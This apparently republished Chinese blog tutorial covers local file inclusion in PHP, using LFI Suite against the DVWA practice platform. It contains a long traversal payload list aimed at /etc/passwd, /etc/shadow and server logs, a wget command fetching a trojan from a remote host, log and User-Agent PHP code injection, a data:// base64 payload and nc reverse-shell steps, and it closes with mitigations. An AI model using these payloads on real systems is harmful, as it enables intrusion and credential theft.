1. 程式人生 > >淺談本地文件包含利用

淺談本地文件包含利用

文件包含 lfishell nc反向連接

今天在公眾號看到了一個本地文件包含的利用工具,看了下國外大牛對該工具的使用的一個視頻,感覺很厲害,通過該工具可對存在本地文件包含漏洞的站點進行利用並返回一個LFI shell,通過返回的LFI shell再次獲取一個反向連接,從而可執行相關命令,以前對本地文件包含的利用大多都停留在讀取文件,如果有遠程文件包含的話就可以getshell。這篇文章主要是對本地文件包含的一個簡單介紹及利用,主要是對工具的使用,也主要是記錄下該過程,方便以後查看,然後再抽時間研究下大神源代碼!大神請繞道而行!: )

0x01 文件包含漏洞原理

文件包含漏洞主要是程序員把一些公用的代碼寫在一個單獨的文件中,然後使用其他文件進行包含調用,如果需要包含的文件是使用硬編碼的,那麽一般是不會出現安全問題,但是有時可能不確定需要包含哪些具體文件,所以就會采用變量的形式來傳遞需要包含的文件,但是在使用包含文件的過程中,未對包含的變量進行檢查及過濾,導致外部提交的惡意數據作為變量進入到了文件包含的過程中,從而導致提交的惡意數據被執行。而文件包含通常分為本地文件包含(

Local File Inclusion)和遠程文件包含(Remote File Inclusion)allow_url_fopen allow_url_include0n的情況認為是遠程文件包含漏洞,allow_url_fopenoff allow_url_include0n為本地文件包含漏洞,如圖1 配置文件所示。本次主要是利用本地文件包含,所以將allow_url_fopen設置為了off

技術分享

圖1 php.ini配置

另外文件包含漏洞主要涉及到的危險函數主要是四個:include(),require()include_once(),require_once()

include():執行到include時才包含文件,找不到被包含文件時只會產生警告,腳本將繼續執行。

require():只要程序一運行就包含文件,找不到被包含的文件時會產生致命錯誤,並停止腳本。

include_once()require_once():若文件中代碼已被包含則不會再次包含。(來自簡書

0x02 文件包含漏洞危害

通過文件包含漏洞,可以讀取系統中的敏感文件,源代碼文件等,如密碼文件,通過對密碼文件進行暴力破解,若破解成功則可獲取操作系統的用戶賬戶,甚至可通過開放的遠程連接服務進行連接控制;另外文件包含漏洞還可能導致執行任意代碼,不管本地文件包含還是遠程文件包含!

總之,常見的利用方法有以下三點:

一、讀取目標主機上的其他文件,主要是本地文件包含。

二、包含可運行的網頁木馬,主要是遠程文件包含,前提是"allow_url_fopen"是激活的(默認是激活的,沒幾個人會修改)。

三、包含一個創建文件的相應代碼文件,因為通過文件包含漏洞獲取的shell不是長久的,如果這個漏洞修補了,那麽shell也不存在了,因此需要創建一個真實的shell。我們可以先包含一個可以執行cmd的偽shell,然後使用wget-O參數(類似:

http://x.x.x.x/index.php?page=http://www.1ster.cn/cmd.txt?cmd=wgethttp://x.x.x.x/muma.txt -O muma.php)獲取一個真正的webshell。如果系統中沒有wget命令,獲取目錄不可寫,那麽我們可以包含一個創建文件的腳本,然後通過腳本上傳木馬文件。

其實除了以上三點外,應該還有一點就是執行任意命令!

0x03 實驗環境

本次實驗環境主要是利用dvwa平臺進行演示,如圖2所示。DVWADamn Vulnerable Web Application)是用PHP+mysql編寫的一套web漏洞平臺,說簡單點就是所謂的網站漏洞靶機,該平臺包含了SQL註入、XSS、本地文件包含、命令執行等一些常見的web安全漏洞,並且該平臺是開源的,可以從官網直接下載。

技術分享

圖2 dvwa平臺

0x04 本地文件包含利用工具

本次主要使用的是LFI SUIT本地文件包含利用工具,是一款用python2.7編寫的神器,該適用於Windows,Linux OS X,並且首次使用會自動配置,自動安裝需要的模塊,該工具提供了九種不同的文件包含攻擊模塊,如圖3所示。另外當你通過一個可利用的攻擊獲取到一個LFI shell後,你可以通過輸入“reverseshell”命令輕易地獲得一個反向shell。但是前提是你必須讓你的系統監聽反向連接,比如使用“nc lvp port”。

技術分享

圖3 九種不同的文件包含攻擊模塊

0x05 本地文件包含讀取文件

在之前的本地文件包含漏洞中,大多數都是進行讀取文件,如linux下的密碼文件(../../../../etc/shadow以及../../../../etc/passwd),獲取讀取一些你知道物理路徑的一些文件,如圖4所示。

技術分享

圖4 讀取已知路徑下的文件

以下是一些簡單的測試用例,根據實際情況進行適當的修改。在神器的目錄下也包含了很多測試用例,可自行查看!

../../tomcat/conf/tomcat-users.xml
../
%2e%2e%2f whichtranslates to ../
%2e%2e/ whichtranslates to ../
..%2f whichtranslates to ../
%2e%2e%5c whichtranslates to ..%c1%1c
%c0%9v
%c0%af
..%5c../
../../../../../../../../../../../../etc/hosts%00
../../../../../../../../../../../../etc/hosts
../../boot.ini
/../../../../../../../../%2A
../../../../../../../../../../../../etc/passwd%00
../../../../../../../../../../../../etc/passwd
../../../../../../../../../../../../etc/shadow%00
../../../../../../../../../../../../etc/shadow
/../../../../../../../../../../etc/passwd^^
/../../../../../../../../../../etc/shadow^^
/../../../../../../../../../../etc/passwd
/../../../../../../../../../../etc/shadow
/./././././././././././etc/passwd
/./././././././././././etc/shadow
\..\..\..\..\..\..\..\..\..\..\etc\passwd
\..\..\..\..\..\..\..\..\..\..\etc\shadow
..\..\..\..\..\..\..\..\..\..\etc\passwd
..\..\..\..\..\..\..\..\..\..\etc\shadow
/..\../..\../..\../..\../..\../..\../etc/passwd
/..\../..\../..\../..\../..\../..\../etc/shadow
.\\./.\\./.\\./.\\./.\\./.\\./etc/passwd
.\\./.\\./.\\./.\\./.\\./.\\./etc/shadow
\..\..\..\..\..\..\..\..\..\..\etc\passwd%00
\..\..\..\..\..\..\..\..\..\..\etc\shadow%00
..\..\..\..\..\..\..\..\..\..\etc\passwd%00
..\..\..\..\..\..\..\..\..\..\etc\shadow%00
%0a/bin/cat%20/etc/passwd
%0a/bin/cat%20/etc/shadow
%00/etc/passwd%00
%00/etc/shadow%00
%00../../../../../../etc/passwd
%00../../../../../../etc/shadow
/../../../../../../../../../../../etc/passwd%00.jpg
/../../../../../../../../../../../etc/passwd%00.html
/..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../etc/passwd
/..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../etc/shadow
/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/shadow
%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%00
/%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%00
%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%00
%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%255cboot.ini
/%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..winnt/desktop.ini
\\'/bin/cat%20/etc/passwd\\'
\\'/bin/cat%20/etc/shadow\\'
../../../../../../../../conf/server.xml
/../../../../../../../../bin/id|
C:/inetpub/wwwroot/global.asa
C:\inetpub\wwwroot\global.asa
C:/boot.ini
C:\boot.ini
../../../../../../../../../../../../localstart.asp%00
../../../../../../../../../../../../localstart.asp
../../../../../../../../../../../../boot.ini%00
../../../../../../../../../../../../boot.ini
/./././././././././././boot.ini
/../../../../../../../../../../../boot.ini%00
/../../../../../../../../../../../boot.ini
/..\../..\../..\../..\../..\../..\../boot.ini
/.\\./.\\./.\\./.\\./.\\./.\\./boot.ini
\..\..\..\..\..\..\..\..\..\..\boot.ini
..\..\..\..\..\..\..\..\..\..\boot.ini%00
..\..\..\..\..\..\..\..\..\..\boot.ini
/../../../../../../../../../../../boot.ini%00.html
/../../../../../../../../../../../boot.ini%00.jpg
/.../.../.../.../.../
..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../boot.ini
/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/bo
../../../../../../../../../../var/log/httpd/access_log
../../../../../../../../../../var/log/httpd/error_log
../apache/logs/error.log
../apache/logs/access.log
../../apache/logs/error.log
../../apache/logs/access.log
../../../apache/logs/error.log
../../../apache/logs/access.log
../../../../../../../../../../etc/httpd/logs/acces_log
../../../../../../../../../../etc/httpd/logs/acces.log
../../../../../../../../../../etc/httpd/logs/error_log
../../../../../../../../../../etc/httpd/logs/error.log
../../../../../../../../../../var/www/logs/access_log
../../../../../../../../../../var/www/logs/access.log
../../../../../../../../../../usr/local/apache/logs/access_log
../../../../../../../../../../usr/local/apache/logs/access.log
../../../../../../../../../../var/log/apache/access_log
../../../../../../../../../../var/log/apache/access.log
../../../../../../../../../../var/log/access_log
../../../../../../../../../../var/www/logs/error_log
../../../../../../../../../../var/www/logs/error.log
../../../../../../../../../../usr/local/apache/logs/error_log
../../../../../../../../../../usr/local/apache/logs/error.log
../../../../../../../../../../var/log/apache/error_log
../../../../../../../../../../var/log/apache/error.log
../../../../../../../../../../var/log/access_log
../../../../../../../../../../var/log/error_log
/var/log/httpd/access_log      
/var/log/httpd/error_log    
../apache/logs/error.log    
../apache/logs/access.log
../../apache/logs/error.log
../../apache/logs/access.log
../../../apache/logs/error.log
../../../apache/logs/access.log
/etc/httpd/logs/acces_log
/etc/httpd/logs/acces.log
/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
/var/www/logs/access_log
/var/www/logs/access.log
/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
/var/log/apache/access_log
/var/log/apache/access.log
/var/log/access_log
/var/www/logs/error_log
/var/www/logs/error.log
/usr/local/apache/logs/error_log
/usr/local/apache/logs/error.log
/var/log/apache/error_log
/var/log/apache/error.log
/var/log/access_log
/var/log/error_log
../../../WEB-INF/web.xml

0x06 神器簡單獲取LFI shell

運行LFI SUIT工具及選擇攻擊模塊

直接使用pythonlfisuite.py,如圖5所示。此時我們選擇利用功能模塊1.

技術分享

圖5 運行本地文件包含利用工具

設置cookie

在我們選擇利用功能模塊1後,會提示讓我們輸入cookie,如圖6所示:

技術分享

圖6 設置cookie

獲取cookie

瀏覽器F12console輸入document.cookie即可獲取到當前cookie,如圖7所示。

技術分享

圖7 獲取cookie

成功獲取LFI shell

輸入cookie後,我們隨便選擇一個攻擊模塊試試,在此我們選擇3,選取攻擊模塊後,我們輸入漏洞地址即可成功獲取到一個shell,如圖8所示。

技術分享

圖8 成功獲取LFI shell

0x07 自動模塊獲取lfi shell

如果我們不知道那個攻擊模塊可以返回shell,我們可以選擇自動攻擊模塊。

技術分享

圖9 自動攻擊模塊

選擇之後我們需要選擇一個包含路徑的文件,我們選擇當前目錄下的一個文件即可。

技術分享

圖10 選擇文件

選擇文件後該工具會嘗試可能性的路徑,並且加以利用。

技術分享

圖11 選擇文件

如圖12所示,我們成功獲取了一個shell

技術分享

圖12 成功獲取shell

0x08 獲取一個反向連接

在我們已經獲取到的lfishell後,我們可以使用reverseshell來獲取一個反向連接,我們先進行監聽反向連接,如圖13所示。

技術分享

圖13 設置監聽反向連接

我們輸入reverseshell後設置ip即可

技術分享

圖14 設置ip及端口

此時我們也成功獲取到了一個反向連接,如圖15所示。

技術分享

圖15 獲取到反向連接

0x09 掃描模塊

另外我們也可以先使用掃描模塊,然後在選擇對應的攻擊模塊也能成功獲取到LFI shell。使用方法與上面都是一樣的,再次就不再進行描述了。

0x10 攻擊模塊簡單介紹

這裏主要是利用PHP的一些函數及偽協議的使用,通過查看PHP幫助文檔對這些模塊進行復現,與源代碼中的利用存在一定的差異,參考文檔。由於能力有限,其中兩個模塊完全失敗,/proc/self/fd以及phpinfo模塊,看了源代碼應該是利用phpinfo的一個註入來上傳一個包含PHP的代碼,從而進行實現,但是沒有利用成功。編程水平太差,誰能救救我!

/proc/self/environ

通過訪問http://127.0.0.1/vulnerabilities/fi/?page=../../../../../../../../proc/self/environ查看是否可以包含/proc/self/environ文件,如果返回了環境變量信息則說明可以訪問,如果返回為空,那麽一般是無法訪問。通過判斷可以訪問後,然後向User-Agent頭中註入PHP代碼(如<?php system(‘whoami’);?>)進行攻擊,如果代碼被成功註入到User-Agent頭中,通過重新加載環境變量,最後會執行你的PHP代碼。由於無法添加該文件的訪問權限,因此沒有復現成功,另外需要主機是linux

php://filter

php://filterPHP語言中特有的協議流,作用是作為一個“中間流”來處理其他流,因此我們可以結合php://input(見下文)來執行PHP代碼,如圖16,另外也可以將執行後的結果進行base64編碼輸入,如圖17

技術分享

圖16 php://filter執行PHP代碼

技術分享

圖17 php://filter執行PHP代碼base64輸出

php://input

通過使用php://input然後輸入PHP代碼,然後就可以進行包含輸入的PHP代碼,如圖18所示,也可以通過PHP代碼進行wget一個木馬文件,從而可獲取一個webshell。但是使用該模塊,必須開啟包含url功能!

技術分享

圖18 php://input執行PHP代碼

/proc/self/fd

不知道如何利用,如果大牛路過,煩請多多指教!

access_log

這裏主要是利用日誌文件,我們訪問的get請求以及User-Agent會記錄到日誌中,然後就可以構造一句話訪問,如圖19,也可以寫在User-Agent中,通過連接日誌文件即可獲取到一句話,執行PHP代碼,如圖20,但是這裏需要保證對日誌文件有訪問權限,並且知道日誌文件路勁,否則不能成功,可以先包含日誌文件,看有沒有內容,如果沒有內容一般就是不能訪問!

技術分享

圖19 PHP代碼寫入到日誌中

技術分享技術分享

圖20 包含含有PHP代碼的日誌文件

phpinfo

通過查看源代碼,好像是通過phpinfo註入,偽造提交一個含有PHP代碼的文件,從而執行PHP代碼,嘗試了下依舊不成功,哎,,,,,有時間繼續研究,路過的你知道的話,請多多指教!

data://

這裏主要是使用data://來打印內容,使用base64加密,如<?phpsystem(‘whoami‘);?>進行base64編碼,如圖21所示,然後使用data://來進行包含PHP代碼,data://text/plain;base64,PD9waHAgc3lzdGVtKCd3aG9hbWknKTs/Pg==,從而可執行PHP代碼,如圖22詳情請點擊此處

技術分享

圖21 PHP代碼進行base64編碼

技術分享

圖22 執行PHP代碼

expect://

expect://主要是用於處理交互式的流,由 expect:// 封裝協議打開的數據流 PTY 提供了對進程 stdiostdout stderr 的訪問。該封裝協議默認未開啟,為了使用expect:// 封裝器,你必須安裝PECL 上的Expect 擴展。由於某些原因,此模塊也沒有復現成功,另外該封裝協議默認不開啟,所以也沒有花時間進行復現了!詳情參考

0x11 總結與修復

本文主要是對文件包含做了一個簡單的介紹,如文件包含漏洞的簡單原理及危害,最重要的是對本地文件包含漏洞的進一步利用,通過本地文件包含漏洞,從而獲取到一個反向連接或者是LFI shell。通過本文也讓自己對本地文件包含的危害和利用都有了一定的提高,不在是只停留在讀取文件上!

通過對該漏洞的利用,最安全的是設置allow_url_fopen allow_url_include0ff,這樣就不能利用該漏洞了,另一方面可以做白名單限制,相當於是硬編碼,直接把需要包含的文件固定死,這樣既不會影響業務,也不會很輕松被利用,其次還是對用戶的輸入保持懷疑態度,對用戶的輸入變量進行嚴格的檢查及過濾!


本文出自 “eth10” 博客,請務必保留此出處http://eth10.blog.51cto.com/13143704/1956029

淺談本地文件包含利用